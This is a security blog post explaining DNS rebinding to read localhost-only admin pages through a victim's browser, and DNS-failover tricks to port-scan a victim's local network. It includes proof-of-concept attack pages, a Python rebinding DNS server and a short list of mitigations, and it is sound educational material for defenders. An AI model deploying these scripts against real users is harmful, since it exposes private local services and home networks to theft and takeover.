Abusing DNS: Browser-based port scanning and DNS rebinding

7 minute read

In this article, I will explain how to use DNS rebinding to read cross-site content. The second part is to utilize DNS fallback mechanism to perform port-scanning in local network. Both of the two attack only require the victim to click the link to the evil website.

DNS Rebinding: Bypass Same-origin Policy

We all know Same-origin policy is a basic security concept in browsers. Thus, even if a user visits my website example.com, I still cannot use iFrame to steal his/her YouTube (youtube.com) browsing history. By default the browser will block reading from cross-origin websites.

However, behind the domain name lies an IP address. example.com resolves to 93.184.216.34, while youtube.com resolves to 216.58.200.46. Here is the cool idea: what if the domain name doesn’t violate same-origin policy, but in fact it’s fetching content from 216.58.200.46?

  1. The victim browses my evil website example.com, which resolves to my IP address 240.240.240.240.
  2. The victim fetches contents from example.com/account/information, but this time the domain resolves to 216.58.200.46.
  3. Because this request does not violate same-origin policy, I can read the content and send it to my log server.

Pwn! However, of course, youtube.com is not vulnerable to this attack. For mitigation and limitation of DNS rebinding, please refer to mitigation.

Attack Scenario

So consider this scenario: you have a admin interface listening on 127.0.0.1:8080. You think it doesn’t need password protection because it can only be accessed through localhost. Assume some sensitive information just lies on the page 127.0.0.1:8080/account/information. We will then bypass same-origin policy and try to steal the information from the page. The scenario is rather practical. Here is a real-world example.

We assume the victim uses Chromium 71 and clicks our evil website example.com:8080 which resolves to 240.240.240.240.

Unfortunately it’s not so straightforward to perform DNS rebinding. Due to the DNS cache mechanism, when the domain first resolves to 240.240.240.240 (my evil website), the browser will cache it and not query the DNS address again.

To bypass this limitation, we set up our DNS server to return Multiple A records.

;; ANSWER SECTION:
example.com.	0	IN	A	240.240.240.240
example.com.	0	IN	A	0.0.0.0

When the DNS server response contains multiple A records, Chromium will resolve to 240.240.240.240 first and try to connect. If 240.240.240.240 cannot be reached (connection refused/no route to host), it will then use another IP address 0.0.0.0 as the fallback.

Note that Chromium does NOT always resolve to 240.240.240.240 first. There is possibility that Chromium resolves it to 0.0.0.0 (localhost). Simply try it again.

0.0.0.0 is the trick here. We cannot use 127.0.0.1 here because in Chrome it will always resolve to 127.0.0.1 first. It will be impossible to make the victim connect to our evil website. However, when using 240.240.240.240 and 0.0.0.0, Chrome will resolve to 240.240.240.240 first.

Therefore, the victim clicks example.com. Chromium will resolve it to 240.240.240.240. Here is the html in the evil website.

<!doctype html>
<html>
<script>
  var readContent = function() {
    fetch("//example.com:8080/account/information").then(r => r.text()).then(t => console.log(t));
  };
  setInterval(readContent, 1000);
</script>
</html>

However, as I said Chromium will cache the IP address 240.240.240.240 of example.com, this will never fetch the content from 0.0.0.0:8080. Therefore what we do is to shut down my webserver at 240.240.240.240. Due to the DNS fallback mechanism (connection refused), Chromium will fetch the content from 0.0.0.0:8080. We are still conform the same-origin policy so we can read the content!

The proof-of-concept works on Chromium 71. For some sophisticated PoC, please refer to singularity.

Mitigation

Nevertheless there is some limitation of this attack. The website developer can take advantages of them to prevent their site from being attacked.

  • No cookies: Only the IP address resolves to the target website. The browser will not send any cookie of it.
  • Validate HTTP Host header: If the target website validates the HTTP Host header, it’s not vulnerable. Because the host is example.com:8080.
  • HTTPS: The domain name is not correct. The browser will abort the TLS connection.

Simple DNS Rebinding Server in Python3

#!/usr/bin/env python3
# Python 3.6.4
#
# dnslib==0.9.7
from dnslib.server import DNSServer, DNSLogger, DNSRecord, RR
import time
import sys

class TestResolver:
    def resolve(self,request,handler):
        q_name = str(request.q.get_qname())
        print('[<-] ' + q_name)
        reply = request.reply()
        print('[->] 240.240.240.240+127.0.0.1')
        reply.add_answer(*RR.fromZone(q_name + " 0 A 240.240.240.240"))
        reply.add_answer(*RR.fromZone(q_name + " 0 A 127.0.0.1"))
        return reply
logger = DNSLogger(prefix=False)
resolver = TestResolver()
server = DNSServer(resolver,port=53,address="0.0.0.0",logger=logger)
server.start_thread()
try:
    while True:
        time.sleep(1)
        sys.stderr.flush()
        sys.stdout.flush()
except KeyboardInterrupt:
    pass
finally:
    server.stop()

Abuse DNS Failover for Port Scanning

Do you notice that the DNS failover behavior is very interesting? In this part I’ll talk about how to abuse this mechanism to perform intranet port-scanning.

The idea is pretty straightforward. If the DNS response is like this:

;; ANSWER SECTION:
example.com.	0	IN	A	127.0.0.1
example.com.	0	IN	A	240.240.240.240

Because Chromium will always resolve to 127.0.0.1 first, Chromium will try to connect 240.240.240.240 only if it fails to connect 127.0.0.1. Thus, we can leverage this fact to detect a port is opened or not.

Launch The Attack

The evil browser-based port-scanning script:

<!doctype html>
<html>
<body>
  <div id="images">
  <div>
</body>
<script>
  var images = document.getElementById("images");
  for (let port = 13337; port < 13340; port++) {
    let img = document.createElement("img");
    img.src = `//example.com:${port}`;
    images.appendChild(img);
  }
</script>
</html>

We listening port 13337 - 13340 in our server 240.240.240.240. If the port receives connection, it means the port in localhost is closed.

In order to scanning intranet, we want to know the private IP address of the victim. The HTML5 WebRTC can be used to leak the private IP address of the victim. Here is a PoC. HTML5 seems to have too many features, which can be easily abused…..

There are other approaches to perform port-scanning. Skylined uses timing attack based on WebRTC+XHR. Gareth Heyes uses iframes with some tricks to detect if the connection is refused.

Postscript

I’m always wondering: what will happen to me after clicking an innocuous link, even if I don’t provide anything?

  1. Scanning my home network
  2. Find my IoT device web portal 192.168.1.2:8000 and Wifi admin interface in 192.168.1.1:8080
  3. Send a malicious request to control the IoT device. For example, unlock the door.
  4. ……

Okay it’s a little exaggerated, but it sounds possible, isn’t it? Next time remember to think twice before clicking a link.

Reference